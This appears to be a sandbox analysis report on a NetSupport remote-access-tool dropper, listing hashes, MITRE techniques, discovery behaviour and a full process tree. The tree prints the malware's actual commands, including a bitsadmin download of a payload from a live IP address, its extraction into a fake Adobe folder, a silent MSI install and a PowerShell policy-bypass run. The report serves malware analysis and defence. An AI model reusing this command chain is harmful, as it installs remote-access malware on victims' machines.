netsupport | 8d555bae2091f00b5ca6ebecc5666fb887d4282a0ffdb47f487e6c19236fe7ed

Resubmissions

08/06/2026, 18:37

260608-w9k2qaex5m10

08/06/2026, 18:34

260608-w7p8naex3k3

Analysis

user interaction
yes
max time kernel
300s
max time network
305s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
08/06/2026, 18:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8d555bae2091f00b5ca6ebecc5666fb887d4282a0ffdb47f487e6c19236fe7ed.exe
Size 75.2MB
Sample260608-w9k2qaex5m
SHA256 8d555bae2091f00b5ca6ebecc5666fb887d4282a0ffdb47f487e6c19236fe7ed
MD5 e400da10c79139e3d2f510c6c39f1f85
SHA1 bfdfba3a27d090af711db5bb5f3cc8a3eefdae40
SHA512 ad5da5dfb76aba104157c208b3df2e53c8698f9c7605439d5b985d0748f0548ab339baeff2772a8ca87d8697f7081e54a2c742cb129988e5f173c4eb45fb09ee
SSDEEP 1572864:Z+lI1JXiwRVTF4GjfwamTDta++SZIrG4HFHlD36AO5nguSs0w1:Mlg9iQ4gwaAa7oIa4HFH7O5nguhB1
TLSH
T1B308339A3261D72EFA8BC1B4092EFC32253CD04ED1555635B0F910B9E0A664DEFCAD2D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery dropper execution netsupport rat

Malware Config

Signatures

Family: NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
96	5020	powershell.exe
97	5020	powershell.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2924	bitsadmin.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sysinfo.lnk	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\G:	Acro.exe
File opened (read-only)	\??\T:	Acro.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\H:	Acro.exe
File opened (read-only)	\??\J:	Acro.exe
File opened (read-only)	\??\N:	Acro.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Q:	Acro.exe
File opened (read-only)	\??\A:	Acro.exe
File opened (read-only)	\??\B:	Acro.exe
File opened (read-only)	\??\I:	Acro.exe
File opened (read-only)	\??\W:	Acro.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\K:	Acro.exe
File opened (read-only)	\??\R:	Acro.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\D:	Acro.exe
File opened (read-only)	\??\L:	Acro.exe
File opened (read-only)	\??\O:	Acro.exe
File opened (read-only)	\??\V:	Acro.exe
File opened (read-only)	\??\X:	Acro.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\M:	Acro.exe
File opened (read-only)	\??\U:	Acro.exe
File opened (read-only)	\??\Z:	Acro.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\P:	Acro.exe
File opened (read-only)	\??\S:	Acro.exe
File opened (read-only)	\??\Y:	Acro.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
95	api.ipify.org
96	api.ipify.org

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1741132852-2793423776-1557670484-1000\Control Panel\International\Geo\Nation	driver.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1741132852-2793423776-1557670484-1000\Control Panel\International\Geo\Nation	driver.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1741132852-2793423776-1557670484-1000\Control Panel\International\Geo\Nation	driver.exe

Drops file in Windows directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIE2AF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE3BA.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE67D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE087.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE144.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE1B2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE533.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{01D81E01-F38F-44AD-A1CA-9110932B86A2}	msiexec.exe
File created	C:\Windows\Installer\e58dfdc.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE1D3.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE419.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE806.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBA1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFDA3.tmp	msiexec.exe
File opened for modification	C:\Windows\SystemTemp	driver.exe
File opened for modification	C:\Windows\Installer\e58dfdc.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE241.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE592.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE69D.tmp	msiexec.exe

Executes dropped EXE 9 IoCs

pid	Process
4068	driver.exe
1792	driver.exe
3952	driver.exe
1144	driver.exe
3192	driver.exe
2636	Acro.exe
1092	MSIFDA3.tmp
1800	sysinfo.exe
4156	driver.exe

Loads dropped DLL 34 IoCs

pid	Process
3508	8d555bae2091f00b5ca6ebecc5666fb887d4282a0ffdb47f487e6c19236fe7ed.exe
3508	8d555bae2091f00b5ca6ebecc5666fb887d4282a0ffdb47f487e6c19236fe7ed.exe
3508	8d555bae2091f00b5ca6ebecc5666fb887d4282a0ffdb47f487e6c19236fe7ed.exe
1792	driver.exe
1792	driver.exe
1792	driver.exe
1792	driver.exe
1792	driver.exe
1144	driver.exe
3192	driver.exe
3920	MsiExec.exe
3920	MsiExec.exe
3920	MsiExec.exe
3920	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
1800	sysinfo.exe
1800	sysinfo.exe
1800	sysinfo.exe
1800	sysinfo.exe
1800	sysinfo.exe
1800	sysinfo.exe
4156	driver.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5020	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8d555bae2091f00b5ca6ebecc5666fb887d4282a0ffdb47f487e6c19236fe7ed.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Acro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIFDA3.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysinfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	driver.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	driver.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	driver.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	driver.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	driver.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	driver.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	driver.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	driver.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	driver.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	driver.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2684	WMIC.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
2684	WMIC.exe
2684	WMIC.exe
2684	WMIC.exe
2684	WMIC.exe
3920	MsiExec.exe
3920	MsiExec.exe
1852	MsiExec.exe
1852	MsiExec.exe
2164	msiexec.exe
2164	msiexec.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
1092	MSIFDA3.tmp
1092	MSIFDA3.tmp
4156	driver.exe
4156	driver.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	3508	8d555bae2091f00b5ca6ebecc5666fb887d4282a0ffdb47f487e6c19236fe7ed.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeShutdownPrivilege	4068	driver.exe
Token: SeCreatePagefilePrivilege	4068	driver.exe
Token: SeIncreaseQuotaPrivilege	2684	WMIC.exe
Token: SeSecurityPrivilege	2684	WMIC.exe
Token: SeTakeOwnershipPrivilege	2684	WMIC.exe
Token: SeLoadDriverPrivilege	2684	WMIC.exe
Token: SeSystemProfilePrivilege	2684	WMIC.exe
Token: SeSystemtimePrivilege	2684	WMIC.exe
Token: SeProfSingleProcessPrivilege	2684	WMIC.exe
Token: SeIncBasePriorityPrivilege	2684	WMIC.exe
Token: SeCreatePagefilePrivilege	2684	WMIC.exe
Token: SeBackupPrivilege	2684	WMIC.exe
Token: SeRestorePrivilege	2684	WMIC.exe
Token: SeShutdownPrivilege	2684	WMIC.exe
Token: SeDebugPrivilege	2684	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1800	sysinfo.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3508 wrote to memory of 4068	3508	8d555bae2091f00b5ca6ebecc5666fb887d4282a0ffdb47f487e6c19236fe7ed.exe	84
PID 4068 wrote to memory of 1792	4068	driver.exe	85
PID 4068 wrote to memory of 1792	4068	driver.exe	85
PID 4068 wrote to memory of 3952	4068	driver.exe	87
PID 4068 wrote to memory of 1144	4068	driver.exe	88
PID 4068 wrote to memory of 3192	4068	driver.exe	89
PID 4068 wrote to memory of 2240	4068	driver.exe	97
PID 2240 wrote to memory of 2684	2240	cmd.exe	99
PID 4068 wrote to memory of 2044	4068	driver.exe	100
PID 2044 wrote to memory of 2924	2044	cmd.exe	102
PID 4068 wrote to memory of 2308	4068	driver.exe	104
PID 2308 wrote to memory of 1496	2308	cmd.exe	106
PID 4068 wrote to memory of 2636	4068	driver.exe	107
PID 2164 wrote to memory of 3920	2164	msiexec.exe	110
PID 2636 wrote to memory of 2600	2636	Acro.exe	111
PID 2164 wrote to memory of 1852	2164	msiexec.exe	112
PID 1852 wrote to memory of 5020	1852	MsiExec.exe	113
PID 2164 wrote to memory of 1092	2164	msiexec.exe	116
PID 4068 wrote to memory of 4156	4068	driver.exe	119

C:\Users\Admin\AppData\Local\Temp\8d555bae2091f00b5ca6ebecc5666fb887d4282a0ffdb47f487e6c19236fe7ed.exe
"C:\Users\Admin\AppData\Local\Temp\8d555bae2091f00b5ca6ebecc5666fb887d4282a0ffdb47f487e6c19236fe7ed.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3508
- C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe
  C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe
  2⤵
  - Checks computer location settings
  - Drops file in Windows directory
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe
    "C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Driver" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1732,i,8165207203540909567,1219880033526217718,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=1728 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1792
- - C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe
    "C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Driver" --field-trial-handle=1732,i,8165207203540909567,1219880033526217718,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:3
    3⤵
    - Executes dropped EXE
    PID:3952
- - C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe
    "C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\Driver" --app-path="C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\resources\app.asar" --no-sandbox --no-zygote --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --field-trial-handle=1732,i,8165207203540909567,1219880033526217718,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=2436 /prefetch:1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1144
- - C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe
    "C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\Driver" --app-path="C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\resources\app.asar" --no-sandbox --no-zygote --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1732,i,8165207203540909567,1219880033526217718,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2240
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "bitsadmin /transfer "AcroJob" /download /priority FOREGROUND "http://212.86.114.171/webdav/driver.dat" "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\Update\driver.dat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\system32\bitsadmin.exe
      bitsadmin /transfer "AcroJob" /download /priority FOREGROUND "http://212.86.114.171/webdav/driver.dat" "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\Update\driver.dat"
      4⤵
      Download via BitsAdmin
      PID:2924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tar.exe -xf "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\Update\driver.dat" -C "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\Update""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2308
  - - C:\Windows\system32\tar.exe
      tar.exe -xf "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\Update\driver.dat" -C "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\Update"
      4⤵
      PID:1496
- - C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\Update\Acro.exe
    C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\Update\Acro.exe
    3⤵
    - Enumerates connected drives
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\realtec\bandicam 2.1.17\install\kito_g4.msi" /qn /norestart AI_SETUPEXEPATH=C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\Update\Acro.exe SETUPEXEDIR=C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\Update\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1780703376 "
      4⤵
      System Location Discovery: System Language Discovery
      PID:2600
- - C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe
    "C:\Users\Admin\AppData\Local\Temp\3EhrvrVfm1r0ZKCURdBo6HqZAu2\driver.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --user-data-dir="C:\Users\Admin\AppData\Roaming\Driver" --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1732,i,8165207203540909567,1219880033526217718,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=2976 /prefetch:8
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:4156

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Drops startup file
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2164
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding CEB57A781A1E06E391DCD426AB28B2E5 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:3920
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 3DC699F7EE7EFE75120D79ACEC99D8C7
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssECD1.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiECCE.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrECCF.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrECD0.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:5020
- C:\Windows\Installer\MSIFDA3.tmp
  "C:\Windows\Installer\MSIFDA3.tmp" /HideWindow /dir "C:\Users\Admin\AppData\Roaming\realtec\bandicam\" "C:\Users\Admin\AppData\Roaming\realtec\bandicam\sysinfo.exe" /silent /norestart OUGTIZXY
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1092

C:\Users\Admin\AppData\Roaming\realtec\bandicam\sysinfo.exe
"C:\Users\Admin\AppData\Roaming\realtec\bandicam\sysinfo.exe" /silent /norestart OUGTIZXY
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
PID:1800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

tracking.ini

Path C:\Users\Admin\AppData\Local\AdvinstAnalytics\67fded628dabd225ea46323d\2.1.17\tracking.ini
Size 84B
SHA256 d1154ddfe00c933c3fce5dadebc9aacb8558f5f66cd6827864007c4f8c9a6f9d
MD5 295af6baf3677f3551d86691d45c12c2
SHA1 20cc28236e1fa96f70beb6bce4a1f9c5980e0341
SHA512 161c094a01ac4eb54237d010417a5555d574f5aa391a736be6ad4bdf35dc6ab0c470fc857ec5f0fd6a5b4aa518f5ebb99d082e41ca1fa9669a11ac9c6230d0f2
TLSH
T189A0122A14473434C83202B630850111583026947038187011595A4451046008F0443C
MD5 SHA1 SHA512 TLSH

Submit Download

{33E7DB01-B5A1-4DBE-970D-0FA60FF5CE60}.session

Path C:\Users\Admin\AppData\Local\AdvinstAnalytics\67fded628dabd225ea46323d\2.1.17\{33E7DB01-B5A1-4DBE-970D-0FA60FF5CE60}.session
Size 8KB
SHA256 17d549c9e47dfdd482b576e0b34d7185a199824a1af1d9a2edfb11f994c01e1e
MD5 5aa740ad9b6b331f6174dd901f7d608a
SHA1 51f7b97fbe87b0907aa8ea47f5fdcc45f1c4c57e
SHA512 fe8bd7135aa0d631ea88998348383774651ed579c3d873b60abcae59a6826d8d3e4fc9f95d9ed6a5c58dc5d7b9f343f02e9fc607bf269de215b5d0cc824c558a
SSDEEP 192:fJMcMCHMDM7Mc1MS2MgMLFMwMBMncMucMJ:fnPE7
TLSH
T16702D02E65FC1156E1B2E744DFF45832BA6779AB78389E2D10C6020827D1E427493BBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSIDB58.tmp

Path C:\Users\Admin\AppData\Local\Temp\MSIDB58.tmp
Size 719KB
